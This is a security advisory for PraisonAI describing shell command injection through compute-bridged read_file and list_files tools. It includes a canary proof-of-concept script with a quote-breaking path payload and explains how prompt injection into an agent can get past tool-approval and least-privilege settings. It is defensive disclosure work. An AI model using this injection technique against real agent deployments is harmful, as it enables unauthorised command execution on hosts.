Compute-bridged file tools allow shell command injection Summary "LocalManagedAgent" / "SandboxedAgent" compute bridging wraps "read_file", "list_files", and "write_file" when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With "compute="local"", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. Affected Product - Repository: "MervinPraison/PraisonAI" - Package: "praisonai" - Component: "src/praisonai/praisonai/integrations/managed_local.py" - Confirmed affected: - "v4.6.10" - "v4.6.56" - "v4.6.57" - current "main" at "2f9677abb2ea68eab864ee8b6a828fd0141612e1" - Confirmed not affected: - "v4.6.9" - "v4.6.1" - "v4.5.149" - Suggested affected range: ">= 4.6.10, <= 4.6.57" Root Cause Current "managed_local.py" defines the bridged tool set: compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} For file tools, "_bridge_file_tool()" constructs shell command strings: command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' The local compute provider executes the string with "asyncio.create_subprocess_shell(...)"; the Docker compute provider executes it with "["sh", "-c", command]". The bridge keeps the low-risk "read_file" / "list_files" tool names and signatures while changing their execution primitive into shell interpretation. Why This Is Not Intended Behavior Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax. The normal "read_file" and "list_files" implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks "execute_command" as "critical", while "read_file" and "list_files" are not dangerous-tool entries. Impact An application that exposes a PraisonAI agent using "LocalManagedAgent" or "SandboxedAgent" with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to "read_file" or "list_files". This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting "execute_command". Local PoV The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools. Minimal inline reproducer: import os from pathlib import Path from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8") canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #' Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #')) cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.name: tool for tool in managed._resolve_tools()} bridged_read = tools""read_file"" (payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #') print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) Command: python3 submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py --repo artifacts/repos/praisonai-current Current-head result: { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } The payload used by the PoV is: missing"; printf "$PRAI_CAND_006_CANARY"; # Normal "read_file" treats this as a literal missing filename. The bridged tool constructs: cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" and returns the canary from the compute shell. Suggested Fix Do not implement file operations by constructing shell command strings from path/content arguments. Preferred fix: 1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat "write_file" content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing """, ";", "$()", backticks, newline, and "#" and assert no shell execution occurs. 5. Keep "execute_command" as the only bridge path that intentionally accepts a shell command string, with critical approval semantics. A minimal stopgap is to remove "read_file", "list_files", and "write_file" from "compute_bridged_tools" until safe provider-native file operations exist. Suggested Severity The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, "PR:N" may be appropriate.